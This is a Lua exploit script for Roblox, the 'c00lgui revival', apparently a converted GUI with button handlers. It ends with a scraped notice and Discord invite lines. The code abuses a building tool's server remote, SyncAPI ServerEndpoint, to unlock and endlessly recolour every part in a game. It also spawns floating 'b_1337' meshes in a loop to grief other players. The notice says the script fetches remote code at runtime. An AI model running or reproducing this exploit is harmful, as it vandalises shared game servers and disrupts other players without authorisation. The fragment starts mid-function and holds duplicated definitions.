function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = workspace.Part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function randomise()
for i,v in game.Workspace:GetDescendants() do
if v:IsA("BasePart") then
spawn(function()
SetLocked(v,false)
Color(v,Color3.new(math.random(0,255),math.random(0,255),math.random(0,255)))
end)
end
end
end
while wait() do
spawn(function()
randomise()
end)
end
end)
end
coroutine.wrap(THNGQF_fake_script)()
local function VTUOG_fake_script() -- button_57.LocalScript
local script = Instance.new('LocalScript', button_57)
local button = script.Parent
button.MouseButton1Down:connect(function()
--rgrg
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = workspace
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = workspace.Part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = workspace.Part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
hrpcf = player.Character.HumanoidRootPart.CFrame
while wait(0.5) do
x = hrpcf.x
z = hrpcf.z
randint = math.random(-600,600)
randint2 = math.random(-600,600)
xloc = randint + x
zloc = randint2 + z
cf = player.Character.HumanoidRootPart.CFrame.y + 400
spawn(function()
CreatePart(CFrame.new(math.floor(xloc), math.random(cf,cf+400), math.floor(zloc)))
for i,v in game.Workspace:GetDescendants() do
if v.Name == "Part" and v.Parent == workspace and v.CFrame.x == math.floor(xloc) and v.CFrame.z == math.floor(zloc) then
SetName(v,"b_1337")
SetAnchor(false,v)
AddMesh(v)
Resize(v, Vector3.new(100,100,100),v.CFrame)
MeshResize(v,Vector3.new(20,20,20))
SetMesh(v,"1618237875")
SetTexture(v, "1618237897")
SetCollision(v,false)
else
end
end
end)
end
end)
end
coroutine.wrap(VTUOG_fake_script)()
local function MDDNVMA_fake_script() -- button_58.LocalScript
local script = Instance.new('LocalScript', button_58)
local button = script.Parent
button.MouseButton1Down:connect(function()
game.Players.LocalPlayer.PlayerGui.CoolGui.settings.smain.sdid.Text = "15475953475"
end)
end
coroutine.wrap(MDDNVMA_fake_script)()
local function XFYH_fake_script() -- button_59.LocalScript
local script = Instance.new('LocalScript', button_59)
local button = script.Parent
button.MouseButton1Down:connect(function()
game.Players.LocalPlayer.PlayerGui.CoolGui.settings.smain.sdid.Text = "3342499434"
end)
end
coroutine.wrap(XFYH_fake_script)()
local function CDBIWK_fake_script() -- button_60.LocalScript
local script = Instance.new('LocalScript', button_60)
local button = script.Parent
button.MouseButton1Down:connect(function()
game.Players.LocalPlayer.PlayerGui.CoolGui.settings.smain.sdid.Text = "358313209"
end)
end
coroutine.wrap(CDBIWK_fake_script)()
local function JFZIKQ_fake_script() -- button_61.LocalScript
local script = Instance.new('LocalScript', button_61)
local button = script.Parent
button.MouseButton1Down:connect(function()
game.Players.LocalPlayer.PlayerGui.CoolGui.settings.smain.sdid.Text = "16432013221"
end)
end
coroutine.wrap(JFZIKQ_fake_script)()
local function FBHUDW_fake_script() -- button_62.LocalScript
local script = Instance.new('LocalScript', button_62)
local button = script.Parent
button.MouseButton1Down:connect(function()
game.Players.LocalPlayer.PlayerGui.CoolGui.settings.smain.sdid.Text = "13283475854"
end)
end
coroutine.wrap(FBHUDW_fake_script)()
local function ELDZR_fake_script() -- button_63.LocalScript
local script = Instance.new('LocalScript', button_63)
local button = script.Parent
button.MouseButton1Down:connect(function()
game.Players.LocalPlayer.PlayerGui.CoolGui.settings.smain.sdid.Text = "16673285043"
end)
end
coroutine.wrap(ELDZR_fake_script)()
if game.PlaceId == "192800" then
CoolGui.Parent = game.CoreGui
end
game:GetService("StarterGui"):SetCore("SendNotification",{
Title = "c00lgui", -- Required
Text = "c00lgui revival has loaded.", -- Required
})Loads code from the internet. It downloads more code when it runs (loadstring + HttpGet), which can change after it was posted. From: pastebin.com, rawscripts.net, raw.githubusercontent.com, gist.githubusercontent.com, github.com, pastefy.app.
get cracked by gg/9DeF2G9g and u should join gg/yt2bmQXj next one is the rbmx

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